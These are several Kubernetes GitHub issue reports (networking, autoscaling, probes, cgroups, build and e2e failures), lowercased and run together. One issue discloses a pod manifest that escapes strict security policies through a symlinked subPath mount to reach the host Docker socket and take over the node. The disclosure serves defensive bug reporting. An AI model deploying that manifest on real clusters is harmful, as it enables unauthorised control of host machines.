  targetport: 80\r   selector:\r     app: nginx\r   type: loadbalancer\r    \r navigate to the aws console and notice how the  env  tag continues to exist on the elb, even though it was removed from the annotation. \r \r   anything else we need to know?  :\r \r   environment  : \r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-09t21:51:06z\ , goversion:\ go1.9.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t11:55:20z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r    \r - cloud provider or hardware configuration: \r    \r \r  global \r disablesecuritygroupingress=true\r elbsecuritygroup=sg-xxxxx\r    \r \r \r \r - os  e.g. from /etc/os-release : \r    \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r \r \r - kernel  e.g.  uname -a  :\r    \r linux abpauva058154 3.10.0-693.17.1.el7.x86_64  1 smp thu jan 25 20:13:58 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:   custom terraform \r - others:\r

\r   is this a bug report or feature request?  :\r \r \r   \r this is a follow-up on  40870 which has been closed by updating the documentation via kubernetes/website 8028 to state\r \r >the endpoint ips  ..  cannot be the cluster ips of other kubernetes services either because the \r >  kube-proxy  component doesn't support virtual ips as destination yet.\r \r also it was mentioned that one could use services of type  externalname  instead. however i think this does not cover all use-cases because:\r \r    externalname  services can only be used in-cluster, they can not be used to forward traffic from a service type  loadbalancer  to a different service\r   there are use-cases where it is desirable to have one public ip that forwards on different ports to different backends, e.g. a git solution that forwards on 443/tcp to an ingress controller and on 22/tcp to the ssh server\r   there are organizations that require whitelisting public ips in order to access them from internal systems, being forced to have one service type  loadbalancer  with a distinct ip per service instead of being able to use different ports for different backing services makes introducing new services running in a k8s cluster unnecessary time-consuming\r    externalname  has the drawback that changing the target may not cause the clients that use it to immediately switch, because dns tends to get cached\r \r however adding this feature has a drawback, namely that it requires special handling for the iptables and ipvs backends in  kube-proxy   in the userspace mode this already works . please see my pull at  63039 as a sample on how that could look in iptables.\r \r i want to use this issue to clarify if this is a feature we want, assuming someone is willing to implement it.\r \r cc @thockin and @caseydavenport as you suggested in the original issue to use  externalname  services and just document this limitation.\r \r

  /area ipvs\r \r   what happened  :\r when accessing a service from a pod, traffic to pods on the same host is dropped when using:\r - ipvs\r - kubenet\r - kube-proxy without masquerade-all or cluster-cidr\r \r   what you expected to happen  :\r accessing pods  through service ip  on the same node should work\r \r   how to reproduce it  as minimally and precisely as possible   :\r - use kube-proxy with  --proxy-mode=ipvs  and no masquerading option, configure kubelet with  --network-plugin=kubenet \r - create a service and matching deployment with a single pod\r - create a pod on the host where the pod from the deployment has been scheduled\r - access the service from this new pod\r - connection will fail\r \r   anything else we need to know?  :\r this is related to the following ebtables rules:\r    \r sudo ebtables -l\r bridge table: filter\r bridge chain: output, entries: 1, policy: accept\r -j kube-dedup\r \r bridge chain: kube-dedup, entries: 2, policy: accept\r -p ipv4 -s 56:fa:49:18:9e:ff -o veth+ --ip-src 10.1.243.1 -j accept\r -p ipv4 -s 56:fa:49:18:9e:ff -o veth+ --ip-src 10.1.243.0/24 -j drop\r    \r traffic from the bridge  cbr0  mac address  here  56:fa:49:18:9e:ff   and from the local pod cidr  here  10.1.243.0/24  except the bridge  here  10.1.243.1   will be dropped.\r \r traffic exiting the pod will have:\r - src ip: source pod ip\r - src mac: source pod mac\r - dst ip: service ip\r - dst mac: cbr0 mac address\r \r after ipvs:\r - src ip: src pod ip  not changed \r - src mac: cbr0 mac address\r - dst ip: dst pod ip\r - dst mac:  dst pod mac\r \r and traffic will be dropped by the ebtables rule\r \r in iptables mode, traffic exiting the pod look the same, but after hitting the prerouting chain we have the following:\r - src ip: src pod ip  not changed \r - src mac:   src pod mac  not changed   \r - dst ip: dst pod ip\r - dst mac:  dst pod mac\r \r since the source mac address is not cbr0 traffic will not be dropped by the ebtables rule.  i don't really understand what this dedup chain is for \r \r my understanding is that since iptables modifies the destination in the prerouting chain, packets are not routed but simply bridged and keep their source mac address.\r \r   environment  :\r - kubernetes version  use  kubectl version  :  v1.10.3 \r - cloud provider or hardware configuration:  gce \r - os  e.g. from /etc/os-release :  ubuntu 1804 \r - kernel  e.g.  uname -a  :  4.15.0-1008-gcp \r \r

as per design https://github.com/kubernetes/community/pull/3624/files , we need to refactor resizing code to handle migrated volumes.\r

follow-up  14256. see https://github.com/kubernetes/kubernetes/pull/14256 issuecomment-154583601  cc @linzichang @bgrant0607

problem:    hack/build-go.sh  accepts any weird argument, like   hack/build-go.sh test/e2e/blahblahblah .  this confuses the usability, making it seem like we need to specify a file name, without actually verifying that the filename target means anything.    example:   obviously \ blahblahblah\  is not a build target anyone might mistakenly create, but realistically, as a user, if i do something that is logical but meaningless, like  hack/build-go.sh test/e2e/integration.test  i want the system to explode, because there is no \ e2e/integration\  target.    solution.  either just allow directories and throw an error if the full binary name is given, or else use the binary name .  notes:   i beleive when i run with  set -x  go install is just using dirname, so i think we dont really need to support file names as inputs to hack/build-go.sh?  i could be wrong...       + go install -ldflags ' -x k8s.io/kubernetes/pkg/version.builddate=2016-04-06t22:00:50z -x k8s.io/kubernetes/pkg/version.gitcommit=fb19d21dca434853784a5f58cef9454b6a527461 -x k8s.io/kubernetes/pkg/version.gittre estate=dirty -x k8s.io/kubernetes/pkg/version.gitversion=v1.3.0-alpha.1.204+fb19d21dca4348-dirty -x k8s.io/kubernetes/pkg/version.gitmajor=1 -x k8s.io/kubernetes/pkg/version.gitminor=3+' k8s.io/kubernetes/test/e2e_node/

currently, kubernetes could run on arm or x86; but in heterogeneous environment, e.g. power & x86, the user need to configure in yml on which hosts is used to run service. it’s inconvience for cluster admin & users, and it’s hard for cluster admin to decide which type of hosts should be used in a large cluster. in this topic, we’re going to show an enhancement of kubernetes to run in heterogeneous environment; kubernetes will help to decide which image is used when running, and kubernetes will also help to chose which hosts is used to run pods, e.g. power or x86.

right now, when etcd fails, we just pass that straight up to the client.  we should probably annotate the error so that we understand that it comes from etcd, not from the apiserver.

currently, it's possible to lose some events during the apiserver shutdown, when the audit backend stopped accepting new events but the requests are coming or progressing. to solve this problem, all connection should be closed before apiserver starts to shut down the audit backend.\r \r /cc @sttts @tallclair @soltysh @piosz

after merging the following:\r \r  51728\r  51557\r \r cross build broke.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r   >  \r \r   what happened  :\r i'm not sure if it's intended behaviour, but when an  attach  session closes  i.e. attached process exits  it always returns\r    json\r {\ metadata\ :{},\ status\ :\ success\ }}\r    \r on error channel, regardless of the process exit code.\r \r   what you expected to happen  :\r i would expect to receive a message containing the exit code of that process  especially if it's non-zero .\r especially since the container which exits with non-zero code will be listed as failed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. attach to a pod container using websocket connecion and  v4.channel.k8s.io  subprotocol.\r 2. execute a command exiting with non-zero code  e.g.  exit 1  \r 3. observe  \ status\ :\ success\   on error channel  4 \r \r   anything else we need to know?  :\r i believe this issue is linked to  these lines  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/server/remotecommand/attach.go l55-l57 \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t21:07:38z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.7-gke.0\ , gitcommit:\ 1883ce4eb0e057cfc2439ebeb9822da0a9d40405\ , gittreestate:\ clean\ , builddate:\ 2018-04-19t17:08:34z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r gcp  gke \r

 hi, i did a hpa autoscaling practice， and used the metrics server, but there is also no value about resources of pods, here is what happened:\r \r 1. create deployments\r    \r   kubectl create -f httpd-deployment.yml \r deployment.apps/httpd created\r \r   cat httpd-deployment.yml \r apiversion: apps/v1beta1\r kind: deployment\r metadata:\r   name: httpd\r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         run: httpd\r     spec:\r       containers:\r       - name: httpd\r         image: httpd:2.2.32\r         ports:\r         - containerport: 80\r         resources:\r           requests:\r             cpu: \ 100m\ \r             memory: \ 50mi\ \r           limits:\r             cpu: \ 500m\ \r             memory: \ 256mi\ \r    \r \r 2. create service\r    \r   kubectl create -f httpd-service.yml\r service/httpd-svc created\r \r   cat httpd-service.yml \r apiversion: v1\r kind: service\r metadata:\r   name: httpd-svc\r spec:\r   type: nodeport\r   selector:\r     run: httpd\r   ports:\r   - protocol: tcp\r     port: 8080\r     targetport: 80\r    \r \r 3. create hpa\r    \r   kubectl create -f hpa_httpd_test.yml \r horizontalpodautoscaler.autoscaling/hpa-httpd created\r \r   cat hpa_httpd_test.yml \r apiversion: autoscaling/v2beta1\r kind: horizontalpodautoscaler\r metadata:\r   name: hpa-httpd\r spec:\r   scaletargetref:\r     apiversion: apps/v1beta1\r     kind: deployment\r     name: httpd\r   minreplicas: 1\r   maxreplicas: 10\r    targetcpuutilizationpercentage: 50\r   metrics:\r   - type: resource\r     resource:\r       name: cpu\r       targetaverageutilization: 50\r   - type: resource\r     resource:\r       name: memory\r       targetaveragevalue: 200mi\r    \r \r 4. get hpa information\r    \r   kubectl get hpa\r name        reference          targets                          minpods   maxpods   replicas   age\r hpa-httpd   deployment/httpd   <unknown>/200mi, <unknown>/50%   1         10        1          1m\r    \r     problems: there is no value about the resources of my pod!\r \r 5. describe the hpa\r    \r   kubectl describe hpa hpa-httpd \r name:                                                  hpa-httpd\r namespace:                                             default\r labels:                                                <none>\r annotations:                                           <none>\r creationtimestamp:                                     tue, 21 aug 2018 16:05:27 +0800\r reference:                                             deployment/httpd\r metrics:                                                 current / target  \r   resource memory on pods:                             <unknown> / 200mi\r   resource cpu on pods   as a percentage of request :  <unknown> / 50%\r min replicas:                                          1\r max replicas:                                          10\r deployment pods:                                       1 current / 0 desired\r conditions:\r   type           status  reason                   message\r   ----           ------  ------                   -------\r   abletoscale    true    succeededgetscale        the hpa controller was able to get the target's current scale\r   scalingactive  false   failedgetresourcemetric  the hpa was unable to compute the replica count: unable to get metrics for resource memory: no metrics returned from resource metrics api\r events:\r   type     reason                        age              from                       message\r   ----     ------                        ----             ----                       -------\r   warning  failedgetresourcemetric       9s  x8 over 3m   horizontal-pod-autoscaler  unable to get metrics for resource memory: no metrics returned from resource metrics api\r   warning  failedcomputemetricsreplicas  9s  x8 over 3m   horizontal-pod-autoscaler  failed to get memory utilization: unable to get metrics for resource memory: no metrics returned from resource metrics api\r    \r \r     while the metrics server is running without errors.\r    \r   kubectl get pods -n kube-system \r name                                       ready     status    restarts   age\r coredns-78fcdf6894-5psw7                   1/1       running   0          6d\r coredns-78fcdf6894-77qhn                   1/1       running   0          6d\r etcd-cluster-2-master                      1/1       running   0          6d\r kube-apiserver-cluster-2-master            1/1       running   0          6d\r kube-controller-manager-cluster-2-master   1/1       running   0          6d\r kube-flannel-ds-dtjpq                      1/1       running   0          6d\r kube-flannel-ds-lflpz                      1/1       running   0          6d\r kube-proxy-pcwkd                           1/1       running   0          6d\r kube-proxy-ttcrf                           1/1       running   0          6d\r kube-scheduler-cluster-2-master            1/1       running   0          6d\r metrics-server-56dc49db67-5c7qx            1/1       running   0          1d\r    \r \r  6. my kubernetes version\r    \r   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:53:20z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:08:19z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r os:\r    \r    cat /etc/os-release \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r \r kernel:\r    \r linux cluster-2-master 3.10.0-862.9.1.el7.x86_64  1 smp mon jul 16 16:29:36 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r \r and i didn't find the parameter \ --horizontal-pod-autoscaler-use-rest-clients=false\  in the file: \ /etc/kubernetes/manifests/kube-controller-manager.yaml\ . also, i didn't run the heapster. \r \r could you please give me some suggestions? thanks!

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r i made an extension apiserver based on the sample.  my extension apiserver adds an admission plugin, as does the sample.  but if that admission plugin is enabled from the command line then validation fails.\r \r there are two problems.  for the first, note that https://github.com/kubernetes/kubernetes/blob/5c8ef7eb3b737f869d1b04a5b3837d4400b561a7/staging/src/k8s.io/sample-apiserver/pkg/cmd/server/start.go l70 invokes validation before https://github.com/kubernetes/kubernetes/blob/5c8ef7eb3b737f869d1b04a5b3837d4400b561a7/staging/src/k8s.io/sample-apiserver/pkg/cmd/server/start.go l73 --- which is where the additional admission plugin gets added  see how https://github.com/kubernetes/kubernetes/blob/5c8ef7eb3b737f869d1b04a5b3837d4400b561a7/staging/src/k8s.io/sample-apiserver/pkg/cmd/server/start.go l128 leads to https://github.com/kubernetes/kubernetes/blob/5c8ef7eb3b737f869d1b04a5b3837d4400b561a7/staging/src/k8s.io/sample-apiserver/pkg/cmd/server/start.go l98 which is what gets to https://github.com/kubernetes/kubernetes/blob/5c8ef7eb3b737f869d1b04a5b3837d4400b561a7/staging/src/k8s.io/sample-apiserver/pkg/admission/plugin/banflunder/admission.go l35 .\r \r i fixed that inversion by promoting some code from  config    to  complete    in my extension server.  that exposed the other problem, which comes from https://github.com/kubernetes/kubernetes/blob/5c8ef7eb3b737f869d1b04a5b3837d4400b561a7/staging/src/k8s.io/apiserver/pkg/server/options/admission.go l196 .  the sample apiserver does not add its admission plugin to  recommendedpluginorder , so this check trips.\r \r   what you expected to happen  :\r i expected to be able to use my admission plugin.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r rollingupdate for daemonset got stuck due to one of the daemonset pods being in unknown state\r \r   what you expected to happen  :\r \r we expected the rolling update to select a pod which is not in   unknown   state or atleast if it selects a pod with   unknown   state then it should have some default timeout so that it can select one of the other pods for update.\r however, when we deleted the pod with   unknown   state using   kubectl delete pod <pod_name> -n <namespace> --grace-period=0 --force  , the scheduler again scheduled the pod to the same node, it got deleted and came up with pending state while rolling update was still stuck there trying to update the same pod first, we expected the rolling update to try to update one of the other pods.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r the node has a taint :\r    \r taints:\r   - effect: noschedule\r     key: node.kubernetes.io/unreachable\r     timeadded: 2019-01-14t17:24:02z\r \r    \r the daemonset had this default toleration:\r    \r tolerations:\r - operator: \ exists\ \r   effect: \ noschedule\ \r \r    \r when we removed this toleration from the daemonset, the scheduler stopped scheduling the pods to that node and then everything worked fine.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.12.4\r - cloud provider or hardware configuration: baremetal cluster\r - os  e.g. from /etc/os-release : \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r    what happened  :\r we create a crd, the cr has a statefulset, the cr has a pv template,and share it with the statefulset.\r when we delete the cr, the pvc generated by pv template is still appear.\r   what you expected to happen  :\r when we delete the cr, the pvc generated by pv template is deleted too. because we may change the pvc template.\r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r

when i change branches, i really want the prior build invalidated.  could we consider the git branch  if this is a git repo  in the short_hash that uniquifies the build?

cleaning up orphaned resources and found 600+ disks in k8s-jkns-e2e-gce-prl-flaky. need a manual cleanup step that handles pds created by tests.

quickly recreating a service with a nodeport results in \r    \r error from server  invalid : error when creating \ /usr/local/google/home/beeps/rtmp/yaml/echo-app-lb.yaml\ : service \ echoheaders-nodeport\  is invalid: spec.ports 0 .nodeport: invalid value: 30416: provided port is already allocated\r    \r \r which i don't expect, not for as long as you need to currently wait for that message to stop showing up  o 10s  . clearly the nodeport isn't in any service in etcd, so i think we're not writing-through the nodeport cache and some periodic sync is flushing it. \r \r still correctn, but a horrible ux. \r

kubectl port-forward  should give the ability to forward trafic to a service not only a pod.\r \r this is convenient for developer/debugging purposes and especially for non http/sni protocols that cannot use routes and that we don't want to expose through nodeport.\r \r implementation could be done using the /proxy url to send trafic to the service, and netcat/socat to handle it through a local port.\r \r it may require to add an additional flag --service=service-name or use the svc/<svc_name> syntax\r \r

in this pr: https://github.com/kubernetes/kubernetes/pull/45864,  jenkins verification job failed, but there are another two jobs pull-kubernetes-bazel , pull-kubernetes-verify passed, do we change the jenkins job name ? \r @kubernetes/sig-testing-bugs

here is a pod which would be allowed by fairly strict security policies, yet gives full control over node host by gaining access to docker socket:\r \r    \r apiversion: v1\r kind: pod\r metadata:\r   name: secbypass\r spec:\r   initcontainers:\r   - name: prep-symlink\r     image: \ docker:stable\ \r     command:  'ln', '-s', '/var/run', '/tmp/host-var-run' \r     volumemounts:\r     - name: docker-socket\r       mountpath: /tmp/\r   containers:\r   - name: all-your-base-are-belong-to-us\r     image: \ docker:stable\ \r     command:  \ /bin/sh\ , \ -ec\ , \ docker ps; /bin/sleep 999999\  \r     volumemounts:\r     - name: docker-socket\r       subpath: host-var-run\r       mountpath: /var/run\r   volumes:\r   - name: docker-socket\r     emptydir: {}\r    \r \r \r   \r

this is to track the progress of work on moving pod  preemption to beta.\r \r  \r -  x  write a design doc on how to support preemption in daemonset controller.\r -  x  remove daemonset controller scheduling logic and let daemonset pods be schedule by default scheduler.\r -     add support for multi-scheduler preemption to default scheduler  this is targeted for 1.11 .\r -  x  ensure that cluster setup tools start scheduler as a part of cluster bring-up. this is needed for scheduling daemonset pods.\r -  x  change nominated-node-name annotation to a field in podstatus.\r -  x  add metrics for number of preemptions and number of victims.\r -  x  change critical pods’ template to use priority\r -  x  get rid of the rescheduler\r -  x  write a doc on how kubelet evictions work with priority\r -  x  update the comment of priorityclassname and also the  doc to describe \ system\  priorities.\r -  x  enable  preemption in our existing scalability tests.\r -  x  move apis/scheduling/v1alpha1 to apis/scheduling/v1beta1\r -  x  write a roll out plan\r \r  /assign\r   \r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r both the  readinessprobe  and  livenessprobe  remained active in the container.\r \r the  readinessprobe  was used to check whether the application was started, and it could connect to all it's backends  postgres, redis, etc.. . this check runs every 10 seconds to ensure it helps with a quick startup.\r \r the  livenessprobe  was used to check  only  whether the pod itself was still running  an empty page that returns a simple http 200 . this check ran every minute with more relaxed timeouts, because it concerned a low-traffic site.  for test websites i'm even using a timeout of 5 minutes \r \r on connectivity issues with kube-dns and postgres, all web application pods were found unhealthy, because their strict  readinessprobe  was still running every 10 seconds. kubernetes thus restarted all pods that run web sites, applications and for the next few minutes the whole cluster returned the \ 404 - default backend\ .\r \r   what you expected to happen  :\r \r that the  livenessprobe  keeps running, but the  readinessprobe  stops once the container is ready.\r \r looking at the docs at https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-probes/ it looks like the main purpose of a  readinessprobe  is to see whether an expensive start-up was completed. once it's ready, it seems like the  readinessprobe  fulfilled it's duty, and the  livenessprobe  can take over.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r define both probes in a deployment. for example:\r \r    yaml\r         readinessprobe:\r           httpget:\r             httpheaders:\r             - name: host\r               value: localhost\r             path: /api/check-all/    connects to backends\r             port: 8080\r             scheme: http\r           periodseconds: 10\r           timeoutseconds: 3\r         livenessprobe:\r           httpget:\r             httpheaders:\r             - name: host\r               value: localhost\r             path: /api/ping/    just returns http 200\r             port: 8080\r             scheme: http\r           periodseconds: 300\r           timeoutseconds: 60\r    \r \r   environment  :\r \r everything was upgraded to the current version: using kubectl v1.9.1, kubernetes v1.9.1 on a private vps cluster  followed the kubeadm \ bare metal\  setup . debian 9  stretch , kernel 4.14.0-0.bpo.3-amd64.\r

is this a bug report or feature request?  :\r  \r   what happened  :\r the kubelet flag  --cpu-cfs-quota  does not work when pod cgroups are enabled.\r the container cgroup is left unbounded but the pod cgroup is bounded.\r \r   what you expected to happen  :\r no cpu quota enforcement should happen at any level of the cgroup tree.\r \r   how to reproduce it  as minimally and precisely as possible   :\r set --cpu-cfs-quota=false and run  kubectl run nginx --image=nginx --limits=cpu=1,memory=512mi , observe the cgroup tree and see the pod cgroup is bounded.\r \r   anything else we need to know?  :\r nope, fix is in flight

forked from https://github.com/kubernetes/kubernetes/pull/63386 discussion_r193257021.\r \r garbage collector should work for two cases:  a  cluster-scoped owner with namespaced dependents,  b  namespaced owner and namespaced dependents that are in the same namespace.\r \r garbage collector should not work for the other two cases:  c  namespaced owner with cluster-scoped dependents.  d  owner and dependents that are in different namespaces. today, gc sometimes work in these two cases. it's a bug for two reasons:\r \r   this weakens our security guarantees. users might exploit this bug to grant other users delete permissions.\r   users might rely on the unsupported behavior.\r \r we can add extra checks in the gc controller to make it never work for case  c  and  d .\r \r cc @lavalamp @liggitt @deads2k

is this a bug report or feature request?    choose one :\r i think it's a bug   or configuration issue  \r \r   nginx ingress controller version  :\r 0.16.2\r \r   kubernetes version    use  kubectl version  :\r 1.11.0\r \r   environment  :\r arm\r \r -   cloud provider or hardware configuration  :\r raspberry pi 3\r -   os    e.g. from /etc/os-release :\r raspbian stretch\r -   kernel    e.g.  uname -a  :\r linux pi01 4.14.50-v7+  1122 smp tue jun 19 12:26:26 bst 2018 armv7l gnu/linux\r -   install tools  :\r flannel \r -   others  :\r \r \r   what happened  :\r on 1.10.2 i have the following ingress-nginx service to get external traffic from 192.168.1.201 port 80 to my pod.\r \r    \r apiversion: v1\r kind: service\r metadata:\r   name: ingress-nginx\r   namespace: ingress-nginx\r spec:\r   type: nodeport\r   ports:\r   - name: http\r     port: 80\r     targetport: 80\r     protocol: tcp\r   - name: https\r     port: 443\r     targetport: 443\r     protocol: tcp\r   selector:\r     app: ingress-nginx\r   externalips:\r   - 192.168.1.201\r    \r \r \r after upgrading to 1.11.0 this configuration does not work. the page timed out or gets a connection refused.\r \r   what you expected to happen  :\r traffic for port 80 is send to my pod\r \r   how to reproduce it    as minimally and precisely as possible :\r install 1.11.0 flannel ingress-nginx with service above. pod must show website on port 80.\r \r   anything else we need to know  :\r my cluster is running on pi hardware. ingress from the pod:\r \r    \r apiversion: extensions/v1beta1\r kind: ingress\r metadata:\r   name: the-ingress\r   namespace: the-namespace\r spec:\r   rules:\r   - host: my-host.com\r     http:\r       paths:\r       - backend:\r           servicename: web-server\r           serviceport: http\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r most of pods are created by controller/operator who knows the  podtemplate ;  if this info is included in pod, scheduler can do the scheduling cache based on it.\r \r   why is this needed  :\r \r it'll save lots of scheduling effort, e.g. if failed to schedule a pod, the other pods that created from the same pod template can not be scheduled : \r \r <!-- do not edit below this line -->\r 

i've got a service that i want to expose only on the internal service ip  which is available through a vpn connection , but i _also_ want the ease of use of an ingress resource, handling ssl termination for me.  it seems that the ssl termination functionality is tightly coupled to ingress functionality, which is only used to expose a service to the outside world  especially on gke, where – by default – you don't have any control over how the ingress external ip is set-up. - does the ingress resource suit this use-case, - or should service resources be able to handle ssl termination,  - or should a third resource be introduced to handle this, - or is this simply not possible, and should i handle ssl termination in these use-cases myself?

in the  current cri specification  https://github.com/kubernetes/kubernetes/blob/e8fbcb166928f57f29aaab7f51e64f2079be1020/pkg/kubelet/api/v1alpha1/runtime/api.proto l597-l602 , app execution  and perhaps attaching too, as per  29579  is supposed to return two separate streams for out and err:      message execresponse {     // streaming stdout     optional bytes stdout = 1;     // streaming stderr     optional bytes stderr = 2; }      while this fine for the specific docker case where a daemon running under the same kernel keeps two separate file descriptors and drains them, it is not a workable design for more general cases. i first encountered this when implementing a generic attach method for rkt, but after a quick search i found out multiple other issues related to this.   these are  some of  the issues with having separate streams: - it doesn't work cross-vm, as one can't just pass fd around and needs to resort to multiplexing i/o across kernel boundaries instead  eg. via network . i guess this is also why  hyper interface  https://github.com/kubernetes/frakti/blob/master/pkg/hyper/types/types.proto l544-l546  only has a single stream, but i'm having the same problem with rkt-kvm. - it doesn't work with tty, as writing to pty is multiplexed by the guest and the host doesn't know about streams. this is a known issue which also affects logging  https://github.com/docker/docker/issues/25542, https://github.com/kubernetes/kubernetes/issues/30159  and which is intrinsics in how a tty works.  i would suggest evolving the spec for cri exec/attach in order to have just a single input and a single output stream, as it is a more general approach which works even remotely or across vms.  /cc @kubernetes/sig-node for ownership /cc @feiskyer for the streaming design /cc @timstclair for the streaming implementation

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-prod-parallel/4540/ multiple broken tests:  failed:  k8s.io  services should create endpoints for unready pods {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:1185 jan 30 12:12:38.285: expected un-ready endpoint for service slow-terminating-unready-pod within 5m0s, stdout:  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:1166     issues about this test specifically:  26172  40644   failed:  k8s.io  kubernetes dashboard should check that the kubernetes-dashboard instance is alive {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/dashboard.go:88 expected error:     < errors.errorstring | 0xc4203d7510>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/dashboard.go:76     issues about this test specifically:  26191   failed:  k8s.io  dns should provide dns for externalname services {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/dns.go:501 expected error:     < errors.errorstring | 0xc420451bf0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/dns.go:219     issues about this test specifically:  32584   failed:  k8s.io  nodeproblemdetector  k8s.io  kernelmonitor should generate node condition and events for corresponding errors {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/node_problem_detector.go:353 timed out after 60.000s. expected success, but got an error:     < errors.errorstring | 0xc420a88720>: {         s: \ node condition \\\ testcondition\\\  not found\ ,     }     node condition \ testcondition\  not found /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/node_problem_detector.go:347     issues about this test specifically:  28069  28168  28343  29656  33183  38145   failed: test {e2e.go}      exit status 1     issues about this test specifically:  33361  38663  39788  39877  40371  40469  40478  40483  40668  previous issues for this suite:  37173  37815  38395  39233

